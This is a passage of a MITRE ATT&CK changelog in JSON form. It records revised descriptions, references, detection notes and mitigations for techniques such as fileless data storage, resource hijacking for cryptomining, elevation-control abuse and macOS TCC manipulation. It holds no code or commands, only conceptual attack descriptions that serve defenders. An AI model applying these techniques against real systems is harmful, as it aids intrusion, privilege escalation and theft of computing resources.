"x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-04 15:05:25.388000+00:00\", \"old_value\": \"2023-05-04 18:06:40.829000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\\n\\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n\\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\\n\\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \", \"old_value\": \"Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\\n\\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\\n\\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\\n\\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\\n+Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\\n \\n-Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\\n+Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n \\n Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Aquasec Muhstik Malware 2024\", \"description\": \" Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.\", \"url\": \"https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/\"}, \"root['external_references'][2]\": {\"source_name\": \"Elastic Binary Executed from Shared Memory Directory\", \"description\": \"Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.\", \"url\": \"https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html\"}, \"root['external_references'][5]\": {\"source_name\": \"Sysdig Fileless Malware 23022\", \"description\": \"Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.\", \"url\": \"https://sysdig.com/blog/containers-read-only-fileless-malware/\"}, \"root['external_references'][6]\": {\"source_name\": \"Akami Frog4Shell 2024\", \"description\": \"Ori David. (2024, February 1). Frog4Shell \\u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.\", \"url\": \"https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell\"}, \"root['x_mitre_contributors'][5]\": \"Vito Alfano, Group-IB\", \"root['x_mitre_data_sources'][2]\": \"Process: Process Creation\", \"root['x_mitre_platforms'][1]\": \"Linux\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may store data in \"fileless\" formats to conceal t1Adversaries may store data in \"fileless\" formats to conceal 
>malicious activity from defenses. Fileless storage can be br>malicious activity from defenses. Fileless storage can be br
>oadly defined as any format other than a file. Common exampl>oadly defined as any format other than a file. Common exampl
>es of non-volatile fileless storage include the Windows Regi>es of non-volatile fileless storage in Windows systems inclu
>stry, event logs, or WMI repository.(Citation: Microsoft Fil>de the Windows Registry, event logs, or WMI repository.(Cita
>eless)(Citation: SecureList Fileless)  Similar to fileless i>tion: Microsoft Fileless)(Citation: SecureList Fileless) In 
>n-memory behaviors such as [Reflective Code Loading](https:/>Linux systems, shared memory directories such as `/dev/shm`,
>/attack.mitre.org/techniques/T1620) and [Process Injection](> `/run/shm`, `/var/run`, and `/var/lock` may also be conside
>https://attack.mitre.org/techniques/T1055), fileless data st>red fileless storage, as files written to these directories 
>orage may remain undetected by anti-virus and other endpoint>are mapped directly to RAM and not stored on the disk.(Citat
> security tools that can only access specific file formats f>ion: Elastic Binary Executed from Shared Memory Directory)(C
>rom disk storage.  Adversaries may use fileless storage to c>itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma
>onceal various types of stored data, including payloads/shel>lware 2024)  Similar to fileless in-memory behaviors such as
>lcode (potentially being used as part of [Persistence](https> [Reflective Code Loading](https://attack.mitre.org/techniqu
>://attack.mitre.org/tactics/TA0003)) and collected data not >es/T1620) and [Process Injection](https://attack.mitre.org/t
>yet exfiltrated from the victim (e.g., [Local Data Staging](>echniques/T1055), fileless data storage may remain undetecte
>https://attack.mitre.org/techniques/T1074/001)). Adversaries>d by anti-virus and other endpoint security tools that can o
> also often encrypt, encode, splice, or otherwise obfuscate >nly access specific file formats from disk storage. Leveragi
>this fileless data when stored.  Some forms of fileless stor>ng fileless storage may also allow adversaries to bypass the
>age activity may indirectly create artifacts in the file sys> protections offered by read-only file systems in Linux.(Cit
>tem, but in central and otherwise difficult to inspect forma>ation: Sysdig Fileless Malware 23022)  Adversaries may use f
>ts such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Reposi>ileless storage to conceal various types of stored data, inc
>tory`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) ph>luding payloads/shellcode (potentially being used as part of
>ysical files.(Citation: Microsoft Fileless) > [Persistence](https://attack.mitre.org/tactics/TA0003)) and
 > collected data not yet exfiltrated from the victim (e.g., [
 >Local Data Staging](https://attack.mitre.org/techniques/T107
 >4/001)). Adversaries also often encrypt, encode, splice, or 
 >otherwise obfuscate this fileless data when stored.  Some fo
 >rms of fileless storage activity may indirectly create artif
 >acts in the file system, but in central and otherwise diffic
 >ult to inspect formats such as the WMI (e.g., `%SystemRoot%\\
 >System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\
 >System32\\Config`) physical files.(Citation: Microsoft Filele
 >ss) 
", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0005: WMI (WMI Creation)", + "DS0024: Windows Registry (Windows Registry Key Creation)" + ], + "new": [ + "DS0009: Process (Process Creation)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 14:50:05.682000+00:00", + "modified": "2024-10-13 17:00:09.759000+00:00", + "name": "Resource Hijacking", + "description": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496", + "external_id": "T1496" + }, + { + "source_name": "Sysdig Cryptojacking Proxyjacking 2023", + "description": "Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.", + "url": "https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Jay Chen, Palo Alto Networks", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "File: File Creation", + "Network Traffic: Network Connection Creation", + "Sensor Health: Host Status", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers", + "SaaS" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-13 17:00:09.759000+00:00\", \"old_value\": \"2024-02-14 21:00:00.467000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \\n\\nResource hijacking may take a number of different forms. For example, adversaries may:\\n\\n* Leverage compute resources in order to mine cryptocurrency\\n* Sell network bandwidth to proxy networks\\n* Generate SMS traffic for profit\\n* Abuse cloud-based messaging services to send large quantities of spam messages\\n\\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)\", \"old_value\": \"Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \\n\\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\\n\\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\\n\\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,10 @@\\n Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \\n \\n-One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\\n+Resource hijacking may take a number of different forms. For example, adversaries may:\\n \\n-Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\\n+* Leverage compute resources in order to mine cryptocurrency\\n+* Sell network bandwidth to proxy networks\\n+* Generate SMS traffic for profit\\n+* Abuse cloud-based messaging services to send large quantities of spam messages\\n \\n-Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)\\n+In some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.5\"}, \"root['x_mitre_contributors'][6]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}, \"root['external_references'][1]\": {\"new_value\": {\"source_name\": \"Sysdig Cryptojacking Proxyjacking 2023\", \"description\": \"Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.\", \"url\": \"https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\"}, \"old_value\": {\"source_name\": \"Unit 42 Hildegard Malware\", \"description\": \"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.\", \"url\": \"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/\"}}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Cloud Service: Cloud Service Modification\", \"root['x_mitre_data_sources'][1]\": \"Application Log: Application Log Content\", \"root['x_mitre_platforms'][5]\": \"SaaS\"}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"CloudSploit - Unused AWS Regions\", \"description\": \"CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.\", \"url\": \"https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc\"}, \"root['external_references'][3]\": {\"source_name\": \"Sysdig Proxyjacking\", \"description\": \"Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.\", \"url\": \"https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/\"}, \"root['external_references'][4]\": {\"source_name\": \"Kaspersky Lazarus Under The Hood Blog 2017\", \"description\": \"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.\", \"url\": \"https://securelist.com/lazarus-under-the-hood/77908/\"}, \"root['external_references'][5]\": {\"source_name\": \"Trend Micro Exposed Docker APIs\", \"description\": \"Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.\", \"url\": \"https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html\"}, \"root['external_references'][6]\": {\"source_name\": \"Trend Micro War of Crypto Miners\", \"description\": \"Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.\", \"url\": \"https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html\"}, \"root['external_references'][7]\": {\"source_name\": \"GoBotKR\", \"description\": \"Zuzana Hromcov\\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\\u2011laced torrents. Retrieved March 31, 2022.\", \"url\": \"https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage the resources of co-opted systems tt1Adversaries may leverage the resources of co-opted systems t
>o complete resource-intensive tasks, which may impact system>o complete resource-intensive tasks, which may impact system
> and/or hosted service availability.   One common purpose fo> and/or hosted service availability.   Resource hijacking ma
>r Resource Hijacking is to validate transactions of cryptocu>y take a number of different forms. For example, adversaries
>rrency networks and earn virtual currency. Adversaries may c> may:  * Leverage compute resources in order to mine cryptoc
>onsume enough system resources to negatively impact and/or c>urrency * Sell network bandwidth to proxy networks * Generat
>ause affected machines to become unresponsive.(Citation: Kas>e SMS traffic for profit * Abuse cloud-based messaging servi
>persky Lazarus Under The Hood Blog 2017) Servers and cloud-b>ces to send large quantities of spam messages  In some cases
>ased systems are common targets because of the high potentia>, adversaries may leverage multiple types of Resource Hijack
>l for available resources, but user endpoint systems may als>ing at once.(Citation: Sysdig Cryptojacking Proxyjacking 202
>o be compromised and used for Resource Hijacking and cryptoc>3)
>urrency mining.(Citation: CloudSploit - Unused AWS Regions)  
>Containerized environments may also be targeted due to the e 
>ase of deployment via exposed APIs and the potential for sca 
>ling mining activities by deploying or compromising multiple 
> containers within an environment or cluster.(Citation: Unit 
> 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker  
>APIs)  Additionally, some cryptocurrency mining malware iden 
>tify then kill off processes for competing malware to ensure 
> it\u2019s not competing for resources.(Citation: Trend Micro War 
> of Crypto Miners)  Adversaries may also use malware that le 
>verages a system's network bandwidth as part of a botnet in  
>order to facilitate [Network Denial of Service](https://atta 
>ck.mitre.org/techniques/T1498) campaigns and/or to seed mali 
>cious torrents.(Citation: GoBotKR) Alternatively, they may e 
>ngage in proxyjacking by selling use of the victims' network 
> bandwidth and IP address to proxyware services.(Citation: S 
>ysdig Proxyjacking) 
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [ + "DS0015: Application Log (Application Log Content)", + "DS0025: Cloud Service (Cloud Service Modification)" + ], + "dropped": [] + } + } + ], + "minor_version_changes": [ + { + "type": "attack-pattern", + "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 13:58:14.373000+00:00", + "modified": "2024-10-15 15:32:21.811000+00:00", + "name": "Abuse Elevation Control Mechanism", + "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548", + "external_id": "T1548" + }, + { + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + }, + { + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", + "url": "https://www.sudo.ws/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "User Account: User Account Modification", + "Command: Command Execution", + "Process: OS API Execution", + "File: File Modification", + "Process: Process Metadata", + "File: File Metadata", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:32:21.811000+00:00\", \"old_value\": \"2024-04-15 20:52:09.908000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\", \"root['x_mitre_platforms'][6]\": \"Azure AD\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1038: Execution Prevention", + "M1047: Audit", + "M1051: Update Software", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-21 21:10:57.322000+00:00", + "modified": "2024-10-16 16:54:56.714000+00:00", + "name": "TCC Manipulation", + "description": "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548/006", + "external_id": "T1548.006" + }, + { + "source_name": "welivesecurity TCC", + "description": "Marc-Etienne M.L\u00e9veill\u00e9. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.", + "url": "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/" + }, + { + "source_name": "TCC Database", + "description": "Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.", + "url": "https://interpressecurity.com/resources/return-of-the-macos-tcc/" + }, + { + "source_name": "TCC macOS bypass", + "description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.", + "url": "https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Marina Liang", + "Wojciech 